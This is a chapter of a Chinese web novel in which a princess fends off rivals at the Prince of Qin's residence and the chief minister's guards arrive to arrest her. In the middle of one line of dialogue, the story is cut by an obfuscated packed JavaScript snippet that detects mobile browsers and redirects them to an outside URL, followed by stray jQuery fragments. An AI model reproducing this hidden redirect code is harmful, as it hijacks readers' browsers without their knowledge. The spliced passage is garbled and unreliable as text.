36.第 36 章

作品:《失忆后,宿敌们争先恐后来骗婚

    骤雨初歇宋子雲被迎进了听雨堂小憩,忽闻重檐上琉璃瓦铮然作响。


    宋之一进听雨堂便跪在宋子雲面前,“事出紧急,还望殿下怪罪。”


    宋子雲抬腕刹那,缠臂的细金镯子嵌着的蓝宝迸出寒光,她一步一步走近宋之,眸光所及处好似冰封的湖面,宋之垂目望向地面,心中坦然已有了被宋子雲惩罚的准备。


    忽觉自己肩上一重,宋之睁开眼看向宋子雲。


    “宋之,真有你的!”宋子雲扶他起来,亲自给他斟上一杯热酒,眼睛里迸发出耀眼的光芒,“方才我确实是吓了一跳,我没想到你会用此等办法,不过这还真是个好办法,宋之,你有急智在我这府上真是屈才了,你堪当大任。”


    宋之低头,“臣不敢当。都是殿下教导有方。”


    “等我空下来必定举荐你入仕为官,为你谋一个好前途。”


    宋之目光柔和,全然没有平日里杀伐决断之色,“卑职只求长久待在殿下身边,这便是卑职的前途。”


    宋子雲只当他迎合自己并未放在心上,又给自己倒上一杯酒,扬起柔弱纤细的脖子一饮而尽,宋之只觉白皙的脖子过于刺眼,偏过头去也饮下一杯。


    酒入喉,醇香清冽,爽辣的酒香像是刚才宋之那惊心动魄的举动让宋子雲久久不能平复。


    宋之道,“殿下方才不是说自己喝多了,眼下还是别再喝酒了。”


    宋子雲满不在乎地摆了摆手,满脑子还沉浸在小阁内的场景,她许久没有这般开心过,“这点酒不算什么。方才白暮非没有资格插手,我更不会让柳昱堂插手,此事也只有你胡搅蛮缠最合适,一来你是本宫的人,别人不敢威胁你,二来你不是文人,他们打不过你自然也不敢擅动。”


    “不瞒殿下,卑职也是这么想的。”


    宋子雲又给自己斟上一杯热酒,“不过现如今秦王将我引来听雨堂,想必我不收那些行卷,他没有这么容易放我走。”


    “大不了我护住殿下杀出去。”


    “杀出去?”宋子雲笑道,“不要动不动就喊打喊杀的,要动脑子。宋之,这就是你搞不过这些文人的地方,秦王只是好端端请我赴宴并无错处,我可不能这么做。”


    顿时听雨堂外又坠下雨帘似的丝绦,宋之听见长廊上似有脚步声,食指压在唇上,他俩的对话戛然而止。


    丫鬟跑来问道,“殿下,殿下,酒可醒了?”


    宋子雲又仰头饮下一杯,宋之对着堂外答道,“喝了秦王的醒酒茶,殿下好些了,多谢秦王殿下的关心。”


    “劳烦宋大人通禀,柳大人求见,殿下见还是不见?”


    宋子雲眉头紧蹙,眼下她心中还没个好主意,压根没有心思见柳昱堂,“他来干什么?本宫有些醉,要休息片刻,不见。”


    “殿下。”一声清冷高傲的声音从堂外传来。


    听雨堂外的青砖漫起冰纹,忽见竹帘隙里漏出的鎏金剪影,正剪断阶前蛛网上悬着的雨珠,柳昱堂的皂靴尖碾碎半朵蔫垂的栀子,他将竹骨伞慢慢收起搁在一边。


    雨渐大,他却不染一尘地出现在宋子雲面前。宋子雲有些恍然,朦胧之间又似看见那高大如松一般的身影,转身之际便会轻唤一声羽南……可惜来人清冷地说了一句,“臣有事要对殿下说,还望殿下通融片刻。”


    宋子雲看清来人是柳昱堂,目色渐渐黯淡下来。宋之识趣地退了出去。


    冰裂纹茶盏轻叩声,宋子雲长裙上织金暗纹正巧映着漏窗光斑。风过处,一片新竹叶飘落在卷轴系带上,叶脉里凝着的晨露。


    “坐吧忠烈公。”宋子雲为柳昱堂倒上一杯清茶,“这么着急找本宫所为何事?”


    柳昱堂双手恭敬地将茶放在桌上,朝宋子雲行礼。


    “柳大人这是干什么?好端端为何无事行此大礼?”宋子雲最不高兴搭理这沉闷冗长的礼节,也不请他起来也不正眼瞧他,“这若是让这些学子见着他们爱戴的主考官这般对本宫,本宫又要受到一顿口诛笔伐。”


    “并非无事,上次在长公主府上殿下一番话让卑职醍醐灌顶,今日我特来请罪,此前多有得罪殿下,请殿下责罚。”


    “这事啊没什么大不了的,本宫没放在心上。忠烈公若是为此事,大可不必这般请罪。”


    “不,臣仔细想过殿下说的话,我……”柳昱堂双唇微颤,夜深人静之时每每想起宋子雲当日那番话都不能平静下来,他激动地说道,“已经许久没有人对臣说过这样的话了。我感激殿下。”


    宋子雲眼里并无波澜,“行吧,忠烈公的心意本宫收下了,请回吧。”


    “臣还有一事,请殿下听我一言。”


    “何事?”


    “请殿下与臣同车而坐离开秦王府。”


    “同车?”比起刚才的平静,此刻的宋子雲仿佛白日见鬼似地看向柳昱堂,“我没听错吧,你忠烈公竟要与我同坐一辆车?”


    “臣与殿下一同出去,秦王必将把行卷放在臣的马车之上,届时殿下只管回府,其他交由我。”


    桂花酿放在嘴边,宋子雲的嘴唇好似被酒酿出了肆意的香气,柳昱堂不敢直视,只能低头,久久只听见一声爽朗的笑,“忠烈公怕不是反悔了吧。”


    “什么反悔?”


    “先前忠烈公一而再再而三地要和我划清界限,对我避而不见,就算是陛下下旨也不愿来我府上,怎么今日性格大变?你就不怕我和你同坐一车,你就再也脱不了依附长公主的名号了?”


    “事急从权,公是公,私是私,臣并非依附殿下,而是殿下身为秋闱主审官,臣身为主考官,有义务保护主审官。”


    “忠烈公说的有道理,但大渊的长公主还轮不到一翰林院小官来保护。”宋子雲仰头喝下一杯热酒,“今日之事就不劳烦忠烈公了。”


    “可是殿下……”


    “既然划清界限就清到底,柳大人还是明哲保身,先顾着自己吧,免得你出了事,你们柳氏一族来找本宫麻烦。”


    “殿下为何这般固执?”


    “就当是本宫固执己见。”


    柳昱堂赫然起身,他胸膛起起伏伏似强忍住心中怒意,“殿下向来如此,刁蛮任性想一出是一出。你不跟我坐一辆马车,如何摆脱得了那些学生的行卷?”


    “本宫任不任性还轮不到忠烈公你来评判。”


    柳昱堂隔着窗纱看着长廊那头进进出出的皆是秦王的人,压低声音说道,“我知道你心里赌气,怨我对你不理不睬,可现在不是无理取闹的时候,如今跟臣同坐一辆马车才是上策。殿下万不可意气用事。”


    “多谢忠烈公为我考虑,可是我并不想领情。”


    柳昱堂神色冷峻死死地盯着宋子雲,见她丝毫不动摇,敷衍地行了个礼,“臣告退。”


    “首辅大人驾到。”


    更漏里的赤玉砂堪堪流尽,鎏金炉里沉水香灰忽地一颤,宋子雲的心跳像是被砂石堵住的溪流,漏了半拍。听雨堂外雨越下越大,宋子雲目光落在帘外,细雨犹如珠帘松松散散地撒在青砖上,仿佛下一瞬,那玄色身影就能从雨中走出来,就像是五年前那个夜晚一样。


    楚墨珣来了?他为何来?


    柳昱堂迟疑地停下脚步,默默地垂下眼看向盏中残茶荡起细纹,将宋子雲倒映的凤眸看得一清二楚。


    前殿。


    玄色官袍浸透雨水后泛出银鳞光,雨丝触到紫竹油纸伞骨便自行避让,楚墨珣目光冷峻一手执伞,一人独站在秦王府的前院,身后站在一大批身披黑甲的锦衣卫。


    宋景旭慌忙迎了出来,“不知楚先生驾到有失远迎,是本王的不是,快快请进,本王备下薄酒,请楚先生赏光。”


    宋景旭上前一步伸手引楚墨珣,却被他反手挡了回去,楚墨珣朝身后的陆魏林使了个眼色,陆魏林目中无人地瞧了一眼宋景旭,大马金刀地越过他想要踏入秦王府。


    宋景旭嘴角一抽,心道这陆魏林仗着首辅大人做靠山,连他这个王爷也不怵,脸上依旧和颜悦色地说道,“楚先生这是怎么了?这可是秦王府,府上女眷都在,陆大人这般带刀入府怕不合适


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650698|168543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吧。”


    陆魏林身材魁梧,向来一副天不怕地不怕的模样,况且身为锦衣卫,拿的就是这些皇亲贵胄,早就见惯不惯,宋景旭这样的王爷在他眼里根本不算个事,“锦衣卫奉命拿人,又何不好看的?”


    “拿人?”这回轮到宋景旭纳闷了,“要拿谁?楚先生,这可是秦王府,就算是锦衣卫也不能这么办差吧。”


    陆魏林朝天拱手,对着宋景旭毫不客气地说道,“我朝律例,皇子犯法与庶民同罪,尤其还是贪赃枉法徇私舞弊的重罪。”


    宋景旭眼里闪过一丝阴郁之色,朝楚墨珣笑道,“不知楚先生拿的是王府中的谁?若是不说清楚,本王也不知该如何配合楚先生。”


    楚墨珣幽幽开口,“秦王难道不知道是谁吗?”


    宋景旭边摇头边苦笑道,“陆大人说贪赃枉法徇私舞弊,这罪对本王来说太大,本王不敢擅领,还请楚先生示意。”


    陆魏林一板一眼,板正的脸上毫无笑意,“自然是府上最位高权重之人。”


    宋景旭说道,“最位高权重之人?你们要拿的人是本王?”


    楚墨珣谦谦君子朝宋景旭一拱手,“秦王此言差矣。今日府上最位高权重之人并非是你。”


    宋景旭略略思忖,陆魏林可没有楚墨珣这般好脾气,他直接问道,“秦王殿下,长公主可在此处?”


    “……确在此处。”


    “臣拿的就是长公主殿下。”


    “长姐?你们要拿长姐?”


    宋景旭瞪大眼珠子说道,“楚先生搞错了吧,长姐身为大渊长公主,一人之下万人之上何须贪赃枉法?”


    陆魏林说道,“长公主犯不犯法拿回去审问便知。”


    宋景旭心中如同惊雷,“放肆,长公主也是你能拿的?”


    “何人要拿本宫?”


    “回殿下的话,是下官。”


    宋景旭委屈巴巴地走到她面前,“长姐,你看看锦衣卫也太过分了,什么事不能好好说,今日这般嚣张到我府上拿你,这若是让陛下知道了该多心疼你。”


    宋子雲温柔地捏了捏宋景旭的脸颊,“秦王说得对。”


    宋景旭嘴角上扬,阴毒的目光看向陆魏林,宋子雲一双黑墨似地眸子上上下下盯着陆魏林许久,可陆魏林一副怒气冲冲不为所动的模样让宋景旭恨得牙痒痒。


    宋子雲说道,“那秦王可不能让陛下知道今日发生的事哦。”


    宋景旭顿觉后背一凉,“……是。”


    宋子雲问,“陆大人从昭狱出来后身子骨可好些了?”


    陆魏林抬眸看向宋子雲,他的脸上有一条细细的疤是几年前为了追查刺杀宋良卿刺客时留下的,显得他的脸尤其面目可憎,可今日他抬头时脸上一瞬的茫然错愕,显得整张脸都扭曲滑稽。


    “回殿下的话,好些了。”


    “所为何事要拿本宫?”


    陆魏林敛起那副凶神恶煞的神情,“请殿下过目。”


    宋子雲接过陆魏林呈上来的一本名册,里面记录的时辰和名贵的药材、丝绸等,宋子雲翻了几页就把这名册丢还给陆魏林。


    陆魏林道,“这名单上写的皆是上月十五日自打殿下遇刺苏醒过来之后满朝文武送给殿下的礼盒,不知长公主可还记得?”


    “这东西本宫岂会记得?”


    宋景旭说道,“这些都是长姐病中百官送去的问候,怎么到陆大人眼里,这些就是徇私舞弊的证据了呢?”


    陆魏林指着宋景旭说道,“秦王的意思是你要包庇长公主殿下?”


    “本王……不是这个意思。”


    陆魏林朝着楚墨珣拱手,“大人,属下有理由怀疑秦王也参与了此等贪赃枉法之案,请大人准许属下进府搜查,待查获证据一并交给大人。”


    “准。”


    宋景旭终于忍不住,“陆魏林,你可知我长姐是何许人?你一个小小的锦衣卫指挥使竟敢这般小题大做,拿着鸡毛当令箭!”


    “普天之下莫非王土,皇子犯法与庶民同罪。”